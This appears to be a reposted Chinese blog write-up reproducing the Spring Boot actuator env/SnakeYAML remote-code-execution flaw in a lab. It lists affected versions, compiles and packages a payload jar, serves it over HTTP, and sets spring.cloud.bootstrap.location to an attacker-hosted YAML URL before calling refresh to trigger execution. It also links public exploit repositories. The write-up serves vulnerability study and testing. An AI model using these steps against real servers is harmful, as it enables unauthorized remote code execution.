Spring未授權REC利用方式一(env接口/snakeyaml RCE)


 

一、漏洞成因:

  spring cloud在低版本下的 SnakeYAML 依賴組件存在反序列漏洞(所以有的利用叫:springcloud-snakeyaml-rce)

二、利用條件  

  Spring boot版本范圍:

    Spring Boot 2.X      全部無法利用

    Spring Boot <=1.4  可以利用成功

    Spring Boot 1.5.x    在使用Dalston版本可以,使用Edgware不可以

  Spring cloud 版本范圍: 

    Spring cloud <  1.3.0.RELEASE

  組件要求:

    spring-cloud-starter  && spring-boot-starter

 

三、環境搭建及確定漏洞是否存在

  1. 環境搭建就不說了,直接下面有git鏈接,下載IEDA直接啟動即可。

  

  2. 確認 spring-boot-actuator 1.5.22 RELEASE  ,這個版本要確認是否是Dalston版,我這直接通過pom.xml確認,如果在滲透測試過程應該是沒辦法直接確認。

   

  

  3. 確認 Spring-cloud 版本

   

 四、漏洞復現

  1. Payload准備

    下載payload文件解壓到根目錄

  2.進入目錄修改AwesomeScriptEngineFactory.java,命令執行彈出計算器!

  

 

  3.修改yaml-payload.yml文件

   

 

   4. 編譯並打包jar文件

    javac src/artsploit/AwesomeScriptEngineFactory.java    //編譯java文件

    jar -cvf yaml-payload.jar -C src/ .             //打包成jar包

    

    5.啟動一個python的http環境,能訪問到剛剛修改的jar文件和yml

    

 

   

 

   6.env接口設置spring.cloud.bootstrap.location屬性

  spring.cloud.bootstrap.location=http://192.168.43.183:8888/yaml-payload.yml

   

 

   

 

   7. refresh 接口刷新spring配置,觸發rce

   

 

   8.彈出畫畫板(我的計算器壞了)

  

 

 

  總結:看了很多文章分析,整了好幾天。我復現的思路沒有像參考文章一樣本地分析跟蹤代碼,更偏向於利用過程的記錄和踩坑。   

 

參考鏈接:

  https://github.com/LandGrey/SpringBootVulExploit              //漏洞總結

  https://b1ngz.github.io/exploit-spring-boot-actuator-spring-cloud-env-note/   //漏洞分析和漏洞版本范圍

  https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository    //漏洞環境地址

  https://github.com/b1ngz/spring-boot-actuator-cloud-vul            //環境地址

  https://github.com/artsploit/yaml-payload                  //payload地址

  


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM